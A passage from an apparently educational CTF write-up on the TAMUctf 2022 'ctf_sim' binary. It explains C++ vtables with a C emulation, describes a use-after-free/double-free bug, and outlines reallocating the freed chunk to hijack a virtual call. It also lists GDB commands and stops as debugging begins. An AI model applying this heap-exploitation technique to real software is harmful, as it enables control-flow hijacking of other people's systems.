hJqS0gsAooxxBW/BzhqFtipWzBVGqGM1iCqFMB8lagSiYgJo8LBhrOPAWCmry%2BAMYAFAANTwTAAHc5qSRhXpkQQRDEdgpFB%2BQlDUYbdG6gwjBQaxrH0PAomKyAFlQJJHAEfaiou6p8b8CBXFGPxuuCKYSjKPQUjSUnKYZ/JSd6OmBm69pSa6EZPBaPQedqCYOf6OJuYmFnJe6MWZglhYFCi1Y9DOTA1h4bzfNylaCtUeztIAWm0yQ9mAZBkD2TrOK4LUwqsSw11wQgSFi7q9g8Vr6GIN25l4MrktINKMqyjgctIF6Q4CoKCqKkqEryirqogJAFX%2BAgmogFr6u98JWDWfWjZNs2Latswbd4VsXfHWVuv4MHRHEKH65hlR1BWhHSD%2B26klerWOD80ho/yzg5pjdO9lQKgxQN43TfNy3rdtiBPZz2Jff9xOFgQC4x0ofvw8jzLh%2BCzg49Kreg/SzLLo2HWY7PhOkrmfuzHvkfCqf8qFhbYg0mcSQQA&quot;&gt;godbolt demo&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;C Version:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;funcptr_t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Type alias for function pointers.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;funcptr_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; vtable&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; parent_data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; Parent&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;funcptr_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; vtable&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; parent_data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Inherited from Parent.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; derived_data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; Derived&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Enumeration of virtual functions.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; VFUNCTION_FOO&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; VFUNCTION_BAR &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Concrete implementations.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;parent__foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;parent (%d) foo: %d&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; p&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;parent_data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;parent__bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;parent (%d) bar: %d&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; p&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;parent_data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;derived__bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Derived&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;derived (%d, %d) bar: %d&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; d&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;parent_data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; d&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;derived_data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Virtual implementations (redirect).&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; p&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;vtable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;VFUNCTION_FOO&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; p&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;vtable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;VFUNCTION_BAR&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// vtable definitions.&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;funcptr_t&lt;/span&gt; parent__vtable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    parent__foo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    parent__bar&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token class-name&quot;&gt;funcptr_t&lt;/span&gt; derived__vtable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    parent__foo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    derived__bar&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    Parent p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;parent__vtable&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// parent__foo&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// parent__bar.&lt;/span&gt;

    Derived d &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;derived__vtable&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// parent__foo&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// derived__bar.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAMzwBtMA7AQwFtMQByARg9KtQYEAysib0QXACx8BBAKoBnTAAUAHpwAMvAFYTStJg1AB9U8lJL6yAngGVG6AMKpaAVxYMQAJgDMpBwAyeAyYAHLuAEaYxN4AHKQADqgKhLYMzm4e3n5JKTYCQSHhLFExXvGWmNZpQgRMxAQZ7p6%2BFphW%2BQy19QSFYZHRcRZ1DU1ZrQojvcH9JYPlAJQWqK7EyOwcAKS%2BwchuWADUmz6Ok/ioAHQIx9ibGgCCd/cEAJ4JmFhUBwBuqHjoBwgACoqK4GMgEgRiMYCAsIAtjgAhA4AehRBwAKm9MAcxHgmAoDvxiESwdUBAcksECNEFBcnk9Xu9PgdJsRXNYjgB2RFPA780ngyHQghAn51CL0JF8gXUyn1RgEYzoJh1aUPTZcgAiB2UCsE6seDyZH0wXzZHII3N5DwFgohUJhYu%2BEqlPht9ztcoS%2BqVKrV7tR6IAkgwENFCB8icRUCx5cRFfTbbLBAcsMQ8N8PsrVUxDZqdVqI1n0PmHmiDtgGO5oqq0gdUF9vngGq4xPbOnSnox3NaDgA1ABiclCjgxwYA8qFjIOJxPSAPh6Px1PjIj7gAlblasv3CvOcEJmkHPAsBL0NiCOsCLsPX7/eOK0z8VAQPUJwRihILuWqBZ9hIM0EKgIG2LwfQ/K1QK8ABWdB/xfEAjlg0sYMcBgwIXBIAFobggp9/SYBc/yRbcnnvAF8MEUwInqN9fS/H9Uz/ACgIIECwKoqDtjg/9aJiZC4M2NCMK8LwsNwnxsC4nM6mIhFAwLci/gBdNM2zYx%2BIgIsMxLMV0CYq0WM1ZFAOpDixLUktAR4gzBPgg5%2BKQ2zhPQzC00k6TfVkoiPJuKzs0I%2BTSKUjVy3RfsWwINtaBPM8L0Va8GEJCAE3wBNrAWJN7goolUFfd9FUYk9mP/EzKU8l0mElTBhMRIcRzHSdp1nCdhK1KAKKBBZvwOEjFO1ZSHy0wrP0pQy%2BrKnkKpuKqarqhrl2atdN3azqVO63r%2BuRUKjT3dE5voNMzWCVIb2y0EhUdK0ZOMQ7apg3kYJ1Y4Xp5GV%2BVul9SA%2Bx9qM0%2Bofo1Qb3QZB5LodEVjt0jT7rq9qjh8N6PTtL78qBz0BQC9AaMBhkQY9J45RYJhgggCippRgVRpuxHkdu%2B6Fy4JTQeTfkX2ggA2XqvAU5EKzR1Bfq07ZuYXHw%2BaDP6lQB4hst%2BnT1NUunrWx0xGYOGCF05lmqfZ/KoBp7rRbsrlJYF7zjBfYW6PoyDja8Tm7Nic30TV2X5e1DglloTgYN4TwOC0UhUE4RxWRWNYcW2HweFIAhNG9pYAGsQBgjR9E4SQA8TkPOF4BQQAzhOg%2B90g4FgGBEBQWMEjoaJyEoNAz3rmJkGALgvC4Pg6BpYhC4gCJc4iYJ6heTg4%2Bby8CAnBhaHH0vSCwEmjHERf0qqGws0LxfMFUKpXBpXPqXaXPaDwCJiDH5wsFzqFTwnsuqAMYAFEizAAHcJ3eQO4/4QQRBiHYFIGQghFAqHUIvXQ3cDBGBAKYYw5hz4RELpAJYqBIRpB3gXdom80j2AYE4FwzQ9CBBmMUUoehchnXSMQrI3dqGdD6BQwY3dKjki6FMMYng2G4I4d0BozCBgxDYVwuhPDhg9CEXMERSwFCR3WHoKEmANg8B9n7HOi9Q4cFULETm2FOaSAOMAZAyADidwuFwQEjgFy4EICQZCscFzOBbvQEkMcuALF4CXLQCwU5pwzr7Dg2dSAsACaQQOwdtEFyLvHROSwK7VxWAQBIh9G4QGbnXNxoRWAbF0fowxxjTHmK8JY3gHx7EZnQHof%2BwhRDiBAbU8Bahc7QNIB/K%2BCRH7qI4P7CJudtETkPqkq0jY%2Bp6IMUYkxZiLFWIgC4rJ0RHGeO8fEpY4YmDpkoD0kJYT079K0fnCwsSfFJ1IKnfZQSfCaKiUc05fjM4cC8Dc3g0S4mlweVmfu%2BDJBAA%3D&quot;&gt;godbolt demo&lt;/a&gt;, inspired from &lt;a href=&quot;https://gist.github.com/michahoiting/1aec1c95881881add9a20e9839c35cec&quot;&gt;this gist&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;So to reiterate and relate how this works with ctf_sim.cpp:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By observation, each class (&lt;code&gt;challenge&lt;/code&gt;, &lt;code&gt;forensic&lt;/code&gt;, &lt;code&gt;reversing&lt;/code&gt;, etc.) has a virtual function.&lt;/li&gt;
&lt;li&gt;Therefore, each class has a vtable.&lt;/li&gt;
&lt;li&gt;Also, an object of any class (&lt;code&gt;challenge&lt;/code&gt;, &lt;code&gt;forensic&lt;/code&gt;, etc.) has a vptr.&lt;/li&gt;
&lt;li&gt;This vptr points to the corresponding vtable of the class.
&lt;ul&gt;
&lt;li&gt;e.g. a &lt;code&gt;forensic&lt;/code&gt; object will have a vptr pointing to the &lt;code&gt;forensic&lt;/code&gt; vtable.&lt;/li&gt;
&lt;li&gt;a &lt;code&gt;pwn&lt;/code&gt; object will have a vptr pointing to the &lt;code&gt;pwn&lt;/code&gt; vtable.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;exploiting-the-binary-with-gdb&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#exploiting-the-binary-with-gdb&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Exploiting the Binary with GDB&lt;/h4&gt;
&lt;p&gt;This section will walk through the hands-on aspect exploiting the &lt;code&gt;ctf_sim&lt;/code&gt; binary using GDB. I try to go through the entire procedure to clarify the details, so it may be slightly long-winded. Feel free to skip to the &lt;a href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#altogether&quot;&gt;conclusion&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To recap a bit, we know that...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;when a virtual function is called, the function does a little double-dereference magic using the object&#39;s vptr.&lt;/li&gt;
&lt;li&gt;there is a use-after-free/double-free vulnerability.
&lt;ul&gt;
&lt;li&gt;When solving a challenge, &lt;code&gt;delete&lt;/code&gt; is called. But the pointer value isn&#39;t cleared.&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Suppose p == 0x404000.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;delete&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Pointer value is still 0x404000, not NULL or anything else.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;We could...
&lt;ul&gt;
&lt;li&gt;make a new challenge at the same index? This would overwrite our use-after-free pointer... we probably don&#39;t want that.&lt;/li&gt;
&lt;li&gt;solve the challenge again? This would call the virtual function and delete the pointer again.&lt;/li&gt;
&lt;li&gt;submit a writeup? We might be able to use this to reallocate the chunk and overwrite object data with custom data! Let&#39;s explore this a bit more using GDB.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We&#39;ll try the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download challenge. This allocates a new chunk.&lt;/li&gt;
&lt;li&gt;Solve the downloaded challenge. This should free the chunk.&lt;/li&gt;
&lt;li&gt;Submit a writeup. This should reallocate the chunk, but with our custom data.&lt;/li&gt;
&lt;li&gt;Solve the downloaded challenge again. This should call a double deref on the vptr.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To understand the exploit the details better and what happens under the hood, we&#39;ll use GDB to step through the exploit.&lt;/p&gt;
&lt;p&gt;A brief refresher on some commands we&#39;ll be using. (See this &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/&quot;&gt;GDB cheatsheet&lt;/a&gt; for more commands.)&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;r               &lt;span class=&quot;token comment&quot;&gt;# Run the file.&lt;/span&gt;
c               &lt;span class=&quot;token comment&quot;&gt;# Continue running where we left off.&lt;/span&gt;
heap chunks     &lt;span class=&quot;token comment&quot;&gt;# View active chunks on the heap.&lt;/span&gt;
x /40wx &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# View memory at address as hex data.&lt;/span&gt;
x /40wi &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# View memory at address as instructions.&lt;/span&gt;
disas &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;sym&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;# Disassemble a symbol.&lt;/span&gt;
b *&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;       &lt;span class=&quot;token comment&quot;&gt;# Set a breakpoint at the specified address.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;kill&lt;/span&gt;            &lt;span class=&quot;token comment&quot;&gt;# Useful for stopping the current run in case we make an oopsie and need to restart.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After starting up my Kali Linux VM, downloading the challenge onto it, and firing up GDB; we inspect the initial state of the heap.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-continuation-prompt=&quot;gef&gt;&quot; data-continuation-str=&quot;  &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;span data-continuation-prompt=&quot;gef&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;gdb ctf_sim  &lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;r  &lt;/span&gt;
